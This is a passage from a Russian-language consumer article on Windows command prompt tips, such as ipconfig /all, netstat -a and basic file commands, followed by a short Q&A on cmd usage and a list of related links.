  2. Найдите вкладку с упоминанием «Подключенные устройства» или что-то подобное.

  3. Найдите имя компьютера, IP-адрес и MAC-адрес (иногда называемый физическим адресом или адресом оборудования) вашего компьютера, используя предыдущий трюк.

  4. Сравните их с теми, которые отобразил ваш маршрутизатор в Шаге 2. Если вы заметили несколько странных устройств, значит, ваш сосед тайком подключился к вашему интернету, и лучше добавить пароль.

    Помощь командной строки

Если вам нужна помощь, чтобы понять, как работает командная строка, вам просто нужно ввести суффикс команды с /? и выполнить команду. Это удобно, когда вы знаете о конкретной команде, но не знаете, что она делает. Если команда действительна, командная строка выдаст вам всю связанную с ней информацию.

IP-адрес, адрес DNS-сервера и многое другое о вашем подключении к Интернету
Некоторые трюки командной строки позволяют узнать информацию о вашем IP-адресе. Просто введите ipconfig/ all в командной строке и нажмите Enter. Наряду с IP-адресом и DNS-серверами командная строка выдаст массу информации: имя хоста, основной суффикс DNS, тип узла, включена ли IP-маршрутизация, Wins Proxy и DHCP, описание сетевого адаптера, физический (MAC) адрес и т.д.

Знать, взламывает ли кто-то ваш компьютер/Отследить хакера

Если у вас есть основания полагать, что кто-то взламывает ваш компьютер, этот прием командной строки поможет вам выяснить, не крадет ли кто-то личные данные. Введите netstat -a , и командная строка выдаст список компьютеров, к которым подключен ваш компьютер.
Эти трюки работают на Windows 8.1, Windows 8, Windows 7, Windows Vista, Windows XP и всех предыдущих версиях Windows.

YouTube видео: Лучшие трюки и хаки командной строки (CMD Tricks)


Вопросы и ответы по теме: “Лучшие трюки и хаки командной строки (CMD Tricks)”

Что можно вбить в командную строку?

Полезные команды в cmd на Windows* Содержимое текущей папки — dir. Выводит список файлов и папок в текущей папке.

  • Открыть файл
  • Перейти в другую папку — cd.
  • Создать папку — mkdir или md.
  • Удалить папку — rmdir или rd.
  • Показать дерево папок — tree.
  • Удаление файла — del или erase.
  • Переименование файла — ren или rename.

Что можно делать в консоли Windows?

20 консольных команд Windows, которые пригодятся всем пользователям ПК* Диагностика компьютера

  • Восстановление системных файлов и данных
  • Работа с дисками
  • Управление системными процессами
  • Работа с сетью
  • Удаление вредоносного ПО
  • Заключение

Как выполнить несколько команд в cmd?

Разное → Выполнение нескольких команд в консоли Windows (cmd) Для того чтобы выполнить несколько команд из одной командной строки, нужно объединить их с помощью символа условной обработки: команда1 & команда2 — Используется для разделения нескольких команд в одной командной строке.

Как изменить цвет в командной строке?

Чтобы задать цвет окна командной строки по умолчанию, выберите левый верхний угол окна командной строки , выберите Значения по умолчанию, перейдите на вкладку Цвета , а затем выберите цвета, которые нужно использовать для текста экрана и фона экрана.

Как включить Звездные войны в командной строке?

«Звездные войны» в командной строкеНажмите сочетание клавиш Win + R и введите команду OptionalFeatures.exe. Откроется окно «Компоненты Windows». Найдите пункт Telnet Client и поставьте галочку напротив. Нажмите ОК и, если понадобится, перезагрузите компьютер.

Как работать с cmd exe?

Запуск командной строки.Для запуска командной строки можно воспользоваться одним из следующих способов: Пуск — Выполнить (или клавиши Win+R) введите cmd и нажмите клавишу Enter; Пуск — Все программы — Стандартные — Командная строка»; Пуск — Поиск — Командная строка.


  • Приложение ivi для windows 10 скачать бесплатно
  • Приложение tapo для windows 10 скачать
  • Прикольные иконки для корзины windows 10
  • Приложение itunes для компьютера скачать бесплатно для windows
  • Приложение realtek audio console windows 10